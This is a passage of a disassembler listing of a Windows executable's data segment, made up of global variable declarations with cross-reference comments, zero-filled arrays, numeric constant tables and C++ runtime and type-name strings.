		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D4C0	dd 3			; DATA XREF: ___:0042354Fr
					; sub_425C06+C8r
dword_43D4C4	dd 7			; DATA XREF: ___:00423555r
					; sub_425C06+CDr
dword_43D4C8	dd 0Ah			; DATA XREF: sub_423638+4r
					; sub_425D33+4r
dword_43D4CC	dd 8Ch			; DATA XREF: ___:00423579r
					; ___:00423586w ...
dword_43D4D0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F8E3:loc_41F964o
					; sub_41FE2A:loc_41FEE7o
dword_43D4D8	dd 2			; DATA XREF: sub_423DD1+Eo
					; sub_423DD1+28r
off_43D4DC	dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
					; sub_423DD1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B74h, 9, 427B48h, 0Ah,	427B24h, 10h, 427AF8h
		dd 11h,	427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
		dd 19h,	427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
		dd 78h,	427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
		dd 0FFh, 427940h
off_43D568	dd offset dword_4DC020	; DATA XREF: sub_423DD1+1Bo
					; sub_42413E+55o
		align 10h
		dd offset dword_4DC020
		dd 101h
dword_43D578	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42413E+72o
		dd 1000h, 0
dword_43D588	dd 3 dup(0)		; DATA XREF: sub_41FE2A+50o
					; sub_420CE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+58o
					; sub_420CE6:loc_420D04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8	dd 84h dup(0)		; DATA XREF: sub_42413E+9Bo
dword_43D7E8	dd 2 dup(0)		; DATA XREF: sub_42413E+69o
dword_43D7F0	dd 2694h		; DATA XREF: sub_421861+3r
					; sub_4218B4+46r
		align 8
dword_43D7F8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_424CFCo
dword_43D810	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828	dd 2 dup(0)		; DATA XREF: sub_42600E+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D988	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42600E+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4	dd offset off_427CEC	; DATA XREF: ___:00427EC4o
					; ___:00427FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43DAFC	dd offset off_427CEC	; DATA XREF: ___:off_427D78o
					; ___:00427DB8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43DB1C	dd offset off_427CEC	; DATA XREF: ___:off_427DC0o
					; ___:00427E04o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43DB3C	dd offset off_427CEC	; DATA XREF: ___:off_427E0Co
					; ___:00427E50o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43DB60	dd offset off_427CEC	; DATA XREF: ___:off_427E58o
					; ___:00427E94o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F1C
		align 10h
dword_43DB80	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43DB88	db 0			; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
		align 10h
dword_43DB90	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+AECo ...
		dd 5 dup(0)
dword_43DBA8	dd 0			; DATA XREF: sub_401ACD+B48r
					; sub_415C40+60r
		dd 2D9h	dup(0)
dword_43E710	dd 0			; DATA XREF: sub_401ACD+5D8Cr
					; sub_401ACD+5E61r ...
		dd 7Fh dup(0)
dword_43E910	dd 0			; DATA XREF: sub_40B3BA+41w
					; sub_40B4F5+40w ...
dword_43E914	dd 0			; DATA XREF: sub_40B3BA+47w
					; sub_40B4F5+46w ...
dword_43E918	dd 0			; DATA XREF: sub_40B3BA+52w
					; sub_40B4F5+3Ar ...
dword_43E91C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E920	dd 0			; DATA XREF: sub_40B4F5+75r
					; sub_40B6D6+2Aw ...
dword_43E924	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E928	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5CD7r ...
		align 4
		dd 1B89h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043492Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:004385C0o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_43902Co
		dd 0A2EFh dup(0)
		db 0
byte_480001	db 3 dup(0)		; DATA XREF: Themida_:loc_56F77Fo
		dd 4016h dup(0)
dword_49005C	dd 937Eh dup(0)		; DATA XREF: ___:off_432948o
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43165Co
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438E98o
		dd 5932h dup(0)
dword_4CB710	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B3BA+13o ...
dword_4CB714	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_404494r ...
dword_4CB718	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB71C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB79C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB7DC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB86C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB870	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB880	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB884	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB888	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8A2r
word_4CB88C	dw 0			; DATA XREF: sub_401ACD+7BAFo
					; ___:0040AFA9o ...
		align 10h
dword_4CB890	dd 0			; DATA XREF: sub_409909+4A7w
					; sub_409909+4EBr
dword_4CB894	dd 0			; DATA XREF: sub_409909+65w
					; sub_419C09+166r
dword_4CB898	dd 0			; DATA XREF: sub_409909+80Bw
					; sub_409909+880r ...
dword_4CB89C	dd 0			; DATA XREF: sub_409909+9D8w
					; sub_409909+A43r ...
dword_4CB8A0	dd 0			; DATA XREF: sub_409909+98Aw
					; sub_409909+A13r ...
dword_4CB8A4	dd 0			; DATA XREF: sub_409909+48Dw
					; sub_409909+4DBr
dword_4CB8A8	dd 0			; DATA XREF: sub_409909+213w
					; sub_409909+234r
dword_4CB8AC	dd 0			; DATA XREF: sub_409909+9CBw
					; sub_409909+A3Br ...
dword_4CB8B0	dd 0			; DATA XREF: sub_409909+372w
					; sub_409909+3C7r ...
dword_4CB8B4	dd 0			; DATA XREF: sub_409909+40Fw
					; sub_41AF8F+11Er
dword_4CB8B8	dd 0			; DATA XREF: sub_409909+37Fw
					; sub_409909+3CFr ...
dword_4CB8BC	dd 0			; DATA XREF: sub_409909+3C0w
					; sub_4191DB+ADr
dword_4CB8C0	dd 0			; DATA XREF: sub_409909+55Aw
					; sub_40FAD6+115r ...
dword_4CB8C4	dd 0			; DATA XREF: sub_409909+72w
					; sub_409909+D2r ...
dword_4CB8C8	dd 0			; DATA XREF: sub_409909+97Dw
					; sub_409909+A06r ...
dword_4CB8CC	dd 0			; DATA XREF: sub_409909+3A6w
					; sub_409909+3E7r ...
dword_4CB8D0	dd 0			; DATA XREF: sub_409909+859w
					; sub_409909+8ACr ...
dword_4CB8D4	dd 0			; DATA XREF: sub_409909+2A5w
					; sub_409909+2F0r
dword_4CB8D8	dd 0			; DATA XREF: sub_409909+84Cw
					; sub_409909+8A4r ...
dword_4CB8DC	dd 0			; DATA XREF: sub_409909+B3w
dword_4CB8E0	dd 0			; DATA XREF: sub_409909+866w
					; sub_409909+8B4r ...
dword_4CB8E4	dd 0			; DATA XREF: sub_409909+54Dw
					; sub_409909+6D0r ...
dword_4CB8E8	dd 0			; DATA XREF: sub_409909+58w
					; sub_409909+CAr ...
dword_4CB8EC	dd 0			; DATA XREF: sub_409909+934w
dword_4CB8F0	dd 0			; DATA XREF: sub_401ACD:loc_403ECBr
					; sub_409909+A95w ...
dword_4CB8F4	dd 0			; DATA XREF: sub_409909+A6w
					; sub_409909+F2r
dword_4CB8F8	dd 0			; DATA XREF: sub_409909+480w
					; sub_409909+4D3r
dword_4CB8FC	dd 0			; DATA XREF: sub_409909+5F6w
					; sub_40C267+20r
dword_4CB900	dd 0			; DATA XREF: sub_409909+9BEw
					; sub_409909+A33r
dword_4CB904	dd 0			; DATA XREF: sub_409909+5E9w
					; sub_409909+754r ...
dword_4CB908	dd 0			; DATA XREF: sub_409909+A0Cw
dword_4CB90C	dd 0			; DATA XREF: sub_409909+B50w
					; sub_40DC41+9Ar
dword_4CB910	dd 0			; DATA XREF: sub_409909+7FEw
					; sub_409909+86Dr ...
dword_4CB914	dd 0			; DATA XREF: sub_409909+1B3w
					; sub_40B5B5+3Do ...
dword_4CB918	dd 0			; DATA XREF: sub_409909+997w
					; sub_409909+A1Br ...
dword_4CB91C	dd 0			; DATA XREF: sub_409909+38Cw
					; sub_409909+3D7r ...
dword_4CB920	dd 0			; DATA XREF: sub_409909+399w
					; sub_409909+3DFr ...
dword_4CB924	dd 0			; DATA XREF: sub_409909+C85w
					; sub_409909+C8Cr
dword_4CB928	dd 0			; DATA XREF: sub_409909+6ACw
					; ___:00411290r
dword_4CB92C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB930	dd 0			; DATA XREF: sub_409909+4B4w
dword_4CB934	dd 0			; DATA XREF: sub_409909+9E5w
					; sub_409909+A4Br ...
dword_4CB938	dd 0			; DATA XREF: sub_401000+51r
					; sub_409909+2B2w ...
dword_4CB93C	dd 0			; DATA XREF: sub_409909+7Fw
					; sub_409909+DAr ...
dword_4CB940	dd 0			; DATA XREF: sub_401ACD+5840r
					; sub_401ACD+781Er ...
dword_4CB944	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5037r ...
dword_4CB948	dd 0			; DATA XREF: sub_409909+825w
					; sub_409909+890r ...
dword_4CB94C	dd 0			; DATA XREF: sub_409909+9A4w
					; sub_409909+A23r
dword_4CB950	dd 0			; DATA XREF: sub_409909+C0Ew
					; sub_409909+C3Fr
dword_4CB954	dd 0			; DATA XREF: sub_409909+2CCw
					; sub_418A2E+47r
dword_4CB958	dd 0			; DATA XREF: sub_409909+22Dw
dword_4CB95C	dd 0			; DATA XREF: sub_409909+91Aw
					; sub_409909+92Er
dword_4CB960	dd 0			; DATA XREF: sub_409909+C28w
dword_4CB964	dd 0			; DATA XREF: sub_409909+2D9w
					; sub_418A2E+4Fr
dword_4CB968	dd 0			; DATA XREF: sub_409909+574w
					; sub_409909+6E8r ...
dword_4CB96C	dd 0			; DATA XREF: sub_409909+83Fw
					; sub_409909+873r
dword_4CB970	dd 0			; DATA XREF: sub_409909+220w
					; sub_409909+23Cr
dword_4CB974	dd 0			; DATA XREF: sub_409909+172w
					; sub_409909+1C2r
dword_4CB978	dd 0			; DATA XREF: sub_401ACD+1DCEr
					; sub_401ACD+59F9r ...
dword_4CB97C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+50C1r ...
dword_4CB980	dd 0			; DATA XREF: sub_409909+567w
					; sub_409909+6DCr ...
dword_4CB984	dd 0			; DATA XREF: sub_409909+8DBw
					; sub_409909:loc_40A202w ...
dword_4CB988	dd 0			; DATA XREF: sub_401000+26r
					; sub_409909+28Bw ...
dword_4CB98C	dd 0			; DATA XREF: sub_401ACD+77AFr
					; sub_409909+69Fw ...
dword_4CB990	dd 0			; DATA XREF: sub_409909+32Dw
					; sub_409909+341r ...
dword_4CB994	dd 0			; DATA XREF: sub_409909+3B3w
					; sub_409909+3EFr ...
dword_4CB998	dd 0			; DATA XREF: sub_409909+C01w
					; sub_409909+C37r
dword_4CB99C	dd 0			; DATA XREF: sub_409909+818w
					; sub_409909+888r ...
dword_4CB9A0	dd 0			; DATA XREF: sub_409909+206w
					; sub_409909+227r
dword_4CB9A4	dd 0			; DATA XREF: sub_409909+18Cw
					; sub_409909+1D2r ...
dword_4CB9A8	dd 0			; DATA XREF: sub_409909+832w
					; sub_409909+898r ...
dword_4CB9AC	dd 0			; DATA XREF: sub_409909+624w
					; sub_409909+774r
dword_4CB9B0	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409909+2BFw ...
dword_4CB9B4	dd 0			; DATA XREF: sub_409909+66Bw
					; sub_409909+79Cr ...
dword_4CB9B8	dd 0			; DATA XREF: sub_409909+320w
					; sub_409909+334r ...
dword_4CB9BC	dd 0			; DATA XREF: sub_409909+644w
					; sub_409909+784r ...
dword_4CB9C0	dd 0			; DATA XREF: sub_409909+44Cw
					; sub_409909+4AEr
dword_4CB9C4	dd 0			; DATA XREF: sub_409909+199w
					; sub_409909+1DAr ...
dword_4CB9C8	dd 0			; DATA XREF: sub_409909+365w
					; sub_409909+3BAr ...
dword_4CB9CC	dd 0			; DATA XREF: sub_409909+AA2w
dword_4CB9D0	dd 0			; DATA XREF: sub_409909+5DCw
					; sub_409909+748r ...
dword_4CB9D4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5073r ...
dword_4CB9D8	dd 0			; DATA XREF: sub_409909+4Bw
					; sub_409909+C2r ...
dword_4CB9DC	dd 0			; DATA XREF: sub_409909+473w
					; sub_409909+4CBr
dword_4CB9E0	dd 0			; DATA XREF: sub_409909+165w
					; sub_409909+1BAr ...
dword_4CB9E4	dd 0			; DATA XREF: sub_409909+9FFw
					; sub_409909+A5Br ...
dword_4CB9E8	dd 0			; DATA XREF: sub_409909+685w
					; sub_409909+7ACr ...
dword_4CB9EC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+50D6r ...
dword_4CB9F0	dd 0			; DATA XREF: sub_409909+C1Bw
					; sub_409909+C47r
dword_4CB9F4	dd 0			; DATA XREF: sub_409909+3Ew
					; sub_409909+BAr ...
dword_4CB9F8	dd 0			; DATA XREF: sub_401000+45r
					; sub_409909+298w ...
dword_4CB9FC	dd 0			; DATA XREF: sub_409909+651w
					; sub_409909+78Cr ...
dword_4CBA00	dd 0			; DATA XREF: sub_409909+637w
					; sub_409909+77Cr ...
dword_4CBA04	dd 0			; DATA XREF: sub_409909+C92w
dword_4CBA08	dd 0			; DATA XREF: sub_409909+879w
					; ___:00416C7Cr ...
dword_4CBA0C	dd 0			; DATA XREF: sub_409909+112w
dword_4CBA10	dd 0			; DATA XREF: sub_409909+BE7w
					; sub_409909+C22r
dword_4CBA14	dd 0			; DATA XREF: sub_401ACD+2F9Br
					; sub_401ACD+5EB8r ...
dword_4CBA18	dd 0			; DATA XREF: sub_409909+459w
					; sub_409909+4BBr
dword_4CBA1C	dd 0			; DATA XREF: sub_409909+49Aw
					; sub_409909+4E3r
dword_4CBA20	dd 0			; DATA XREF: sub_409909+466w
					; sub_409909+4C3r
dword_4CBA24	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+50F3r ...
dword_4CBA28	dd 0			; DATA XREF: sub_409909+1A6w
					; sub_409909+1E2r ...
dword_4CBA2C	dd 0			; DATA XREF: sub_409909+9F2w
					; sub_409909+A53r ...
dword_4CBA30	dd 0			; DATA XREF: sub_409909+158w
					; sub_409909+1ADr ...
dword_4CBA34	dd 0			; DATA XREF: sub_409909+8Cw
					; sub_409909+E2r ...
dword_4CBA38	dd 0			; DATA XREF: sub_409909+610w
					; sub_409909+764r ...
dword_4CBA3C	dd 0			; DATA XREF: sub_409909+B43w
					; sub_409909+B5Fr
dword_4CBA40	dd 0			; DATA XREF: sub_409909+33Aw
					; sub_419B9E+55r
dword_4CBA44	dd 0			; DATA XREF: sub_409909+27Ew
					; sub_409909+2D3r ...
dword_4CBA48	dd 0			; DATA XREF: sub_409909+BAAw
dword_4CBA4C	dd 0			; DATA XREF: sub_409909+AECw
					; sub_40A928+CEr
dword_4CBA50	dd 0			; DATA XREF: sub_409909+ADFw
					; sub_409909+AE6r ...
dword_4CBA54	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5052r ...
dword_4CBA58	dd 0			; DATA XREF: sub_401ACD+5044r
					; sub_401ACD+77D6r ...
dword_4CBA5C	dd 0			; DATA XREF: sub_409909+BF4w
					; sub_409909+C2Fr
dword_4CBA60	dd 0			; DATA XREF: sub_401ACD+1DF4r
					; sub_401ACD+5A1Fr ...
dword_4CBA64	dd 0			; DATA XREF: sub_409909+9B1w
					; sub_409909+A2Br ...
dword_4CBA68	dd 0			; DATA XREF: sub_409909+65Ew
					; sub_409909+794r ...
dword_4CBA6C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CBA70	dd 0			; DATA XREF: sub_409909+59Bw
					; sub_409909+70Cr ...
dword_4CBA74	dd 0			; DATA XREF: sub_409909+B36w
					; sub_409909+B57r ...
dword_4CBA78	dd 0			; DATA XREF: sub_409909+540w
					; sub_409909+6C4r ...
dword_4CBA7C	dd 0			; DATA XREF: sub_409909+B29w
					; sub_409909+B4Ar
dword_4CBA80	dd 0			; DATA XREF: ___:00401273r
					; sub_409909+31w ...
dword_4CBA84	dd 0			; DATA XREF: sub_409909+17Fw
					; sub_409909+1CAr
		dd 0
dword_4CBA8C	dd 0			; DATA XREF: sub_409909+927w
					; sub_409909+93Br
dword_4CBA90	dd 0			; DATA XREF: sub_409909+99w
					; sub_409909+EAr ...
dword_4CBA94	dd 0			; DATA XREF: sub_409909:loc_409A07w
					; sub_409909+12Bw ...
dword_4CBA98	dd 0			; DATA XREF: sub_409909+126w
					; sub_40A5C5+1Cr
dword_4CBA9C	dd 0			; DATA XREF: sub_409909:loc_409AF7w
					; sub_409909:loc_409B5Ew ...
dword_4CBAA0	dd 0			; DATA XREF: sub_409909+250w
					; sub_40A5C5+50r
dword_4CBAA4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4468r ...
dword_4CBAA8	dd 0			; DATA XREF: sub_409909+41Ew
					; sub_40A5C5+84r
dword_4CBAAC	dd 0			; DATA XREF: sub_409909:loc_409E0Dw
					; sub_40A5C5:loc_40A675r
dword_4CBAB0	dd 0			; DATA XREF: sub_409909+4FFw
					; sub_40A5C5+B8r
dword_4CBAB4	dd 0			; DATA XREF: sub_409909:loc_40A0DEw
					; sub_40A5C5:loc_40A6A9r
dword_4CBAB8	dd 0			; DATA XREF: sub_409909+7D0w
					; sub_40A5C5+ECr
dword_4CBABC	dd 0			; DATA XREF: sub_409909:loc_40A1C9w
					; sub_409909+8EFw ...
dword_4CBAC0	dd 0			; DATA XREF: sub_409909+8EAw
					; sub_40A5C5+120r
dword_4CBAC4	dd 0			; DATA XREF: sub_401ACD:loc_406E35r
					; sub_409909:loc_40A25Dw ...
dword_4CBAC8	dd 0			; DATA XREF: sub_409909+94Fw
					; sub_40A5C5+154r
dword_4CBACC	dd 0			; DATA XREF: sub_401ACD+4470r
					; sub_409909:loc_40A379w ...
dword_4CBAD0	dd 0			; DATA XREF: sub_409909+A6Bw
					; sub_40A5C5+188r
dword_4CBAD4	dd 0			; DATA XREF: sub_409909:loc_40A3C3w
					; sub_40A5C5:loc_40A779r
dword_4CBAD8	dd 0			; DATA XREF: sub_409909+AB5w
					; sub_40A5C5+1BCr
dword_4CBADC	dd 0			; DATA XREF: sub_409909:loc_40A40Dw
					; sub_40A5C5:loc_40A7ADr
dword_4CBAE0	dd 0			; DATA XREF: sub_409909+AFFw
					; sub_40A5C5+1F0r
dword_4CBAE4	dd 0			; DATA XREF: sub_409909:loc_40A481w
					; sub_40A5C5:loc_40A7E1r
dword_4CBAE8	dd 0			; DATA XREF: sub_409909+B73w
					; sub_40A5C5+224r
dword_4CBAEC	dd 0			; DATA XREF: sub_409909:loc_40A4CBw
					; sub_40A5C5:loc_40A815r
dword_4CBAF0	dd 0			; DATA XREF: sub_409909+BBDw
					; sub_40A5C5+258r
dword_4CBAF4	dd 0			; DATA XREF: sub_409909:loc_40A569w
					; sub_40A5C5:loc_40A849r
dword_4CBAF8	dd 0			; DATA XREF: sub_409909+C5Bw
					; sub_40A5C5+28Cr
dword_4CBAFC	dd 0			; DATA XREF: sub_409909:loc_40A5B3w
					; sub_40A5C5:loc_40A87Dr
dword_4CBB00	dd 0			; DATA XREF: sub_409909+CA5w
					; sub_40A5C5+2C0r
dword_4CBB04	dd 5 dup(0)		; DATA XREF: sub_40AA06+32o
byte_4CBB18	db 0			; DATA XREF: sub_40B2B3+6Ar
					; sub_40B2B3+98w
		align 10h
dword_4CBB20	dd 0			; DATA XREF: sub_40BD1A+18r
					; sub_40C2AF+92w ...
dword_4CBB24	dd 0			; DATA XREF: sub_40C3E8+4Dr
					; sub_40C3E8+2F1w ...
		dd 7FEh	dup(0)
dword_4CDB20	dd 6 dup(0)		; DATA XREF: sub_40C3E8+D2o
					; sub_40C3E8+13Bo ...
dword_4CDB38	dd 0			; DATA XREF: sub_40BD91+2C4w
					; sub_40BD91+348o
dword_4CDB3C	dd 0			; DATA XREF: sub_40BD91+33Ew
					; sub_40BD91+35Ar
dword_4CDB40	dd 0			; DATA XREF: sub_40BD91+2CFw
dword_4CDB44	dd 0			; DATA XREF: sub_40BD91+2B9w
					; sub_40BD91:loc_40C0A6r
dword_4CDB48	dd 20h dup(0)		; DATA XREF: sub_40BD91+2E2o
					; sub_40BD91+302o
dword_4CDBC8	dd 0			; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC	dd 0			; DATA XREF: sub_40BD91+2EFw
					; sub_40BD91+30Fw
dword_4CDBD0	dd 0			; DATA XREF: sub_40BD91:loc_40C101r
		align 8
dword_4CDBD8	dd 0			; DATA XREF: sub_40BD91+82w
					; sub_40BD91+101o
dword_4CDBDC	dd 41h dup(0)		; DATA XREF: sub_40BD91+41o
dword_4CDCE0	dd 41h dup(0)		; DATA XREF: sub_40BD91+69o
dword_4CDDE4	dd 0			; DATA XREF: sub_40BD91+F7w
					; sub_40BD91+113r
dword_4CDDE8	dd 0			; DATA XREF: sub_40BD91+52w
dword_4CDDEC	dd 0			; DATA XREF: sub_40BD91+4Dw
					; sub_40BD91+D4r
dword_4CDDF0	dd 20h dup(0)		; DATA XREF: sub_40BD91+9Ao
					; sub_40BD91+BAo
dword_4CDE70	dd 0			; DATA XREF: sub_40BD91+8Fw
dword_4CDE74	dd 0			; DATA XREF: sub_40BD91+A7w
					; sub_40BD91+C7w
dword_4CDE78	dd 0			; DATA XREF: sub_40BD91:loc_40BEBAr
		align 10h
dword_4CDE80	dd 0			; DATA XREF: sub_40BD91+1A5w
					; sub_40BD91+225o
dword_4CDE84	dd 41h dup(0)		; DATA XREF: sub_40BD91+167o
dword_4CDF88	dd 41h dup(0)		; DATA XREF: sub_40BD91+18Co
dword_4CE08C	dd 0			; DATA XREF: sub_40BD91+21Bw
					; sub_40BD91+237r
dword_4CE090	dd 0			; DATA XREF: sub_40BD91+17Aw
dword_4CE094	dd 0			; DATA XREF: sub_40BD91+175w
					; sub_40BD91+1F8r
dword_4CE098	dd 20h dup(0)		; DATA XREF: sub_40BD91+1BEo
					; sub_40BD91+1DEo
dword_4CE118	dd 0			; DATA XREF: sub_40BD91+1B1w
dword_4CE11C	dd 0			; DATA XREF: sub_40BD91+1CBw
					; sub_40BD91+1EBw
dword_4CE120	dd 0			; DATA XREF: sub_40BD91:loc_40BFDEr
		align 8
dword_4CE128	dd 0			; DATA XREF: sub_40BD91+417w
					; sub_40BD91+470o
dword_4CE12C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD91+405o
dword_4CE3B4	dd 41h dup(0)		; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8	dd 0			; DATA XREF: sub_40BD91+3FCw
					; sub_40BD91+423r
		align 10h
dword_4CE4C0	dd 0			; DATA XREF: sub_40BD91+466w
					; sub_40BD91+482r
dword_4CE4C4	dd 0			; DATA XREF: sub_40BD91+429w
dword_4CE4C8	dd 0			; DATA XREF: sub_40BD91+436w
dword_4CE4CC	dd 0			; DATA XREF: sub_40BD91+3F6w
		dd 0
dword_4CE4D4	dd 0			; DATA XREF: sub_40BD91:loc_40C229r
		dd 0
dword_4CE4DC	dd 0			; DATA XREF: sub_40B9DD+Er
					; sub_40B9DD+32r
dword_4CE4E0	dd 0			; DATA XREF: sub_40B9DD+9r
					; sub_40B9DD+26r
dword_4CE4E4	dd 82h dup(0)		; DATA XREF: sub_40C85F+8Do
dword_4CE6EC	dd 2 dup(0)		; DATA XREF: sub_40D1C8+68o
dword_4CE6F4	dd 0			; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8	dd 0			; DATA XREF: ___:0040EEF0r
		dd 0
		dd 0
dword_4CE704	dd 0			; DATA XREF: ___:0040EEC3r
dword_4CE708	dd 0			; DATA XREF: ___:0040EEA5r
					; ___:0040EF0Er
		align 10h
dword_4CE710	dd 0			; DATA XREF: sub_40BD91+2AEr
		align 8
dword_4CE718	dd 0			; DATA XREF: sub_40BA49+1Cr
dword_4CE71C	dd 0			; DATA XREF: ___:0040F9E9w
					; ___:0040FA10r ...
		dd 3 dup(0)
dword_4CE72C	dd 0			; DATA XREF: ___:00411306r
		dd 0
dword_4CE734	dd 0			; DATA XREF: sub_412EDD+4w
					; sub_412EDD+9o
		dd 10Ah	dup(0)
dword_4CEB60	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F25o
					; sub_401ACD:loc_404A7Bo
dword_4CF180	dd 0			; DATA XREF: sub_401ACD+19C3w
					; sub_401ACD+2F1Dr ...
		dd 11Ch	dup(0)
dword_4CF5F4	dd 1000h dup(0)		; DATA XREF: sub_415D38+1Do
					; sub_415DD8o ...
dword_4D35F4	dd 0			; DATA XREF: sub_415D38+13o
					; sub_415DD8+Eo ...
dword_4D35F8	dd 0Eh dup(0)		; DATA XREF: sub_416CC9+Fo
dword_4D3630	dd 80h dup(0)		; DATA XREF: sub_417990+41o
